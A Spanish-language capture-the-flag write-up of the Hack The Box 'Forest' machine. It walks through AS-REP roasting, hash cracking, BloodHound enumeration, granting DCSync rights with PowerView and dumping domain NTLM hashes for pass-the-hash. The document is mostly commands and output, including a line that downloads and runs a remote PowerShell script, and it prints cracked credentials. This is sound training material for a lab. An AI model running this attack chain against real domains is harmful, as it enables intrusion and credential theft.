Forest-Writeup

·

10 min read


Fores.png


Skills

- RPC Enumeration - Getting valid domain users
- AS-RepRoast attack 
- BloodHound Enumeration
- DCSync Exploitation - Secretsdump.py

Reconocimiento

Para comenzar vamos a crear los directorios para poder resolver la maquina mas cómodamente

$ mkdir Forest-10.10.10.161
$ cd Forest-10.10.10.161
$ mkdir nmap exploit content

Vamos a realizar un escaneo con nmap, para ver que puertos están abiertos del lado de la maquina victima

$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts

Yo lo exporto en formato grepeable por que tengo una función llamada extractPorts -> (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)

$ extractPorts allPorts
[*] Extracting information...

    [*] IP Address: 10.10.10.161
    [*] Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,4
684,49703,49951

[*] Ports copied to clipboard

Vamos a realizar un escaneo mas exhaustivo, para ver la versión y servicios que corren para esos puertos

$ nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49684,49703,49951 10.10.10.161 -oN targeted
# Nmap 7.93 scan initiated Thu Jul 27 01:24:26 2023 as: nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49684,49703,49951 -oN targeted 10.10.10.161
Nmap scan report for 10.10.10.161
Host is up (0.18s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-27 09:31:28Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49684/tcp open  msrpc        Microsoft Windows RPC
49703/tcp open  msrpc        Microsoft Windows RPC
49951/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h26m55s, deviation: 4h02m31s, median: 4h06m54s
| smb2-time: 
|   date: 2023-07-27T09:32:21
|_  start_date: 2023-07-27T05:47:28
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2023-07-27T02:32:23-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Vemos varios puertos, vamos a empezar con el 445 utilizando la herramienta crackmapexec

$ crackmapexec smb 10.10.10.161
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)

Vamos a listar las directorios que se están compartiendo por el puerto 445/smb con la herramienta smbclient

$ smbclient -L 10.10.10.161 -N
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
SMB1 disabled -- no workgroup available

Y vemos que no hay nada, probablemente necesitemos de credenciales para poder listar lo que se este compartiendo, vemos el servicio rpc esta habilitado. Vamos a intentar conectarnos, sin proporcionar credenciales.

$ rpcclient -U "" -N 10.10.10.161
rpcclient $>

Y nos deja, vamos a intentar listar los usuarios del dominio

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[aman] rid:[0x2581]

Y vemos varios usuarios, podemos intentar un ASREPRoast attack (Les comparto un link de hacktricks sobre mas info sobre el ASREPRoast attack -> ASREPRoast attack). Guardamos los usuarios en un archivo

$ cd ../content
$ cat users
Administrator
Guest
krbtgt
DefaultAccount
sebastien
lucinda
svc-alfresco
andy
mark
santi
aman

Vamos a usar la herramienta GetNPUsers para realizar el ASREPRoast attack

$ impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:e9528864e0fdc3de6844f0afee7aee9b$042879f4be34eca409922c1eedfa0dc61711ea98bc60555aa21c30030cff6fddfa264c2213587ec519ce07d97ea59a18a956cea4eb85e4dd2defbf40c1697104b4ee013554171de317d05f058fab99ae67a9ade0f1f7b5490c0918ee7835a3229f60cc4e8ff311e964925b311d803fc7d03051f38587ee0181772c7995c61a2f50d5c8d620c14e2c72ec3a649ed1b5252dd224afa8c62335e1751b26482792bfb1b4ac58dafc8717a359d91882204f6f472d30e55ba4ecc4b6879a8d050059b939e2f4960647046ee38dd69ef899c55b625589e8ee47002ae9e4e82aea4cfe3380e90f5ad520
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User aman doesn't have UF_DONT_REQUIRE_PREAUTH set

Y conseguimos un hash del usuario svc-alfresco. Vamos a guardarlo en un archivo y ver si podemos romper la contraseña. Vamos a utilizar john para hacer esto.

$ cd ../content
$ cat hash
e9528864e0fdc3de6844f0afee7aee9b$042879f4be34eca409922c1eedfa0dc61711ea98bc60555aa21c30030cff6fddfa264c2213587ec519ce07d97ea59a18a956cea4eb85e4dd2defbf40c1697104b4ee013554171de317d05f058fab99ae67a9ade0f1f7b5490c0918ee7835a3229f60cc4e8ff311e964925b311d803fc7d03051f38587ee0181772c7995c61a2f50d5c8d620c14e2c72ec3a649ed1b5252dd224afa8c62335e1751b26482792bfb1b4ac58dafc8717a359d91882204f6f472d30e55ba4ecc4b6879a8d050059b939e2f4960647046ee38dd69ef899c55b625589e8ee47002ae9e4e82aea4cfe3380e90f5ad520
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Created directory: /home/dh89/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          (?)
1g 0:00:00:05 DONE (2023-07-27 02:25) 0.1788g/s 730905p/s 730905c/s 730905C/s s4553592..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Vemos que la contraseña es "s3rvice" vamos a validarlo con crackmapexec

$ crackmapexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
MB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         10.10.10.161    445    FOREST           [+] htb.local\svc-alfresco:s3rvice

Y nos pone un "[+]" por tanto la contraseña es valida, como esta abierto el servicio de administracion remota de windows - winrm/5985. Vamos a ver si nos podemos conectar.

 $ crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
SMB         10.10.10.161    5985   FOREST           [*] Windows 10.0 Build 14393 (name:FOREST) (domain:htb.local)
HTTP        10.10.10.161    5985   FOREST           [*] http://10.10.10.161:5985/wsman
WINRM       10.10.10.161    5985   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

Y nos pone un "(Pwn3d!)" por tanto nos podemos conectar a la maquina, vamos a usar evil-winrm para realizar esto

$ evil-winrm -u 'svc-alfresco' -p 's3rvice' -i 10.10.10.161
Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

Y ganamos acceso a la maquina.

Escalada de privilegios

Para esto vamos a necesitar recopilar información con la herramienta bloodhound (link para mas informacion sobre la herramienta -> Bloodhound-docs). Para esto vamos a necesitar transferir un ".exe" a la maquina para recopilar la información, esto lo vamos a realizar creando una carpeta compartida desde nuestro lado con la herramienta smbserver(link de donde pueden descargar el .exe -> Bloodhound-gihub)(Si tienen alguna duda de como instalar bloodhound o cualquier otra duda lo pueden poner en los comentarios, o contactarme por discord)

$ cd ../content
$ ls

Antes de crear la carpeta compartida, en otra terminal voy a activarme el bloodhound, para esto necesitamos habilitar el neo4j(link de neo4j con mas info -> neo4j-github)

$ neo4j start
Starting Neo4j.
Started neo4j (pid:95754). It is available at http://0.0.0.0:7474
There may be a short delay until the server is ready.

Como nos dice, el servicio corre en el localhost por el puerto 7474

neo4j-png

Ahi vemos el neo4j, si lo instalan por primera vez. Las credencialies por defecto son neo4j/neo4j -> usuario/contraseña. Ahora vamos a iniciar el bloodhound

$ BloodHound --no-sandbox

bloodhound-png

Ingresamos las cre denciales del neo4j y le damos a login

bloodhound-gui.png

En este punto voy a crearme la carpeta compartida, dicha anteriormente(obs: nos tenemos que encontrar en el directorio donde tenemos el Bloodhound.exe)

$ mdkir ../content/sharphound
$ cd ../content/sharphound
$ ls      
SharpHound.exe
$ impacket-smbserver smbFolder $(pwd)

obs: se suele agregar un "--smb2support" para añadir soporte a la v2 de samba. En mi caso no lo pongo ya que no es necesario. Pero si les da algun error, lo pueden añadir.

mpacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Ahora desde la maquina victima, podemos ejecutar el Bloodhound.exe sin la necesidad de transferirlo a la maquina victima. Asi que vamos hacerlo de esta manera, mas comodo.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> \\10.10.14.58\smbFolder\SharpHound.exe
|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
|INFORMATION|Initializing SharpHound at 2:14 AM on 8/1/2023
|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for htb.local : FOREST.htb.local
|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
|INFORMATION|Beginning LDAP search for htb.local
|INFORMATION|Producer has finished, closing LDAP channel
|INFORMATION|LDAP channel closed, waiting for consumers
|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 42 MB RAM
2023-08-01T02:15:03.8449317-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
|INFORMATION|Output channel closed, waiting for output task to complete
|INFORMATION|Status: 161 objects finished (+161 3.744186)/s -- Using 48 MB RAM
|INFORMATION|Enumeration finished in 00:00:43.3755297
|INFORMATION|Saving cache with stats: 118 ID to type mappings.
 117 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
|INFORMATION|SharpHound Enumeration Completed at 2:15 AM on 8/1/2023! Happy Graphing!
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> ls


    Directory: C:\Users\svc-alfresco\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         8/1/2023   2:15 AM          18804 20230801021502_BloodHound.zip
-a----         8/1/2023   2:15 AM          19538 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin

Y tenemos el .zip. Vamos a traernos el archivo a nuestra maquina y analizarlo con el Bloodhound

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> download 20230801021502_BloodHound.zip

Info: Downloading C:\Users\svc-alfresco\Documents\20230801021502_BloodHound.zip to 20230801021502_BloodHound.zip

Info: Download successful!

El propio Evil-WinRM nos facilita la transferencia del archivo(obs: Evil-WinRm nos descarga el archivo en la ruta donde iniciamos seccion con Evil-WinRm por si no encuentran el archivo.)

$ cd ../content
$ ls
20230801021502_BloodHound.zip hash users sharphound

Ahi lo tenemos, ahora vamos analizar el .zip con ayuda del bloodhound

bloodhoun-upload.png

Simplemente, le damos a Upload Data y le pasamos el archivo .zip Una vez, ya tengamos todos los archivos en el bloodhound. Lo primero que hacemos es buscar el user que tenemos su contraseña

scv-bloodhound.png

Luego le damos click derecho y lo marcamos como User as Owned

owned-user.png owned.png

Luego nos vamos a la seccion de Analysis y le damos click en Shortest Path to Domain Admins from owned Principals

shortest-parh.png

Seleccionamos al usuario Admin del Dominio

path.png

Y podemos observar, la ruta que tenemos que seguir para ser Administador. Pueden dar click derecho y darle a help, para mas informacion sobre cada usuario/grupo/permiso,etc.

Vemos que el usuario svc-alfresco es miembro de -> Service-Accounts y a su vez, este ultimo es parte de -> Privileged IT Accounts y este grupo tiene la capability de crear un PSRemote Connection con -> FOREST.HTB.LOCAL. PS Session te permite entrar en una seccion interactiva con la maquina, y gracias a todo esto. Tenemos DS-Replication-Get-Changes y DS-Replication-Get-Changes-All privilege en el dominio -> HTB.LOCAL. Estos dos permisos nos permiten realizar un DCSync attack.(Para mas info sobre DCSync attack -> hacktricks-DCSync).

Para empezar a realizar este ataque, vamos a usar el script PowerView.ps1 (link del repositorio en github -> powerview.ps1)

$ cd ../content
$ git clone https://github.com/PowerShellMafia/PowerSploit/ -b dev
$ ls
PowerSploit-3.0.0 hash 20230801021502_BloodHound.zip users
$ cd PowerSploit-3.0.0
$ cd Recon
$ ls
PowerView.ps1 Invoke-ReverseDnsLookup.ps1 Invoke-Portscan.ps1 Get-HttpStatus.ps1
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Nos transferimos el PowerView.ps1 a la maquina victima

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.58/PowerView.ps1')

Ahora vamos añadir al usuario svc-alfresco al grupo Exchange Windows Permissions

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Import-Module C:\Users\svc-alfresco\Documents\PowerView.ps1

Definimos algunas variables y asignamos el permiso DCSync al usuario svc-alfresco

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('HTB\svc-alfresco', $SecPassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity "DC=htb,DC=local" -Rights DCSync
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" svc-alfresco /add /domain
The command completed successfully.

Ahora, utilizando la herramienta secretsdump vamos a dumpear los hashes NTLM

secretsdump.py svc-alfresco:s3rvice@10.10.10.161
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...[snip]...
[*] Cleaning up...

Ganamos acceso como administrador con evil-winrm

$ evil-winrm -i 10.10.10.161 -u administrator -p aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Conclusión

Maquina muy interesante, de hecho la primera maquina windows que hago writeup, nunca viene mal practicar hacking win. Se puede hacer de muchas maneras el dumpeo de hashes. Les recomiend que investigen otras formas, van aprender mucho.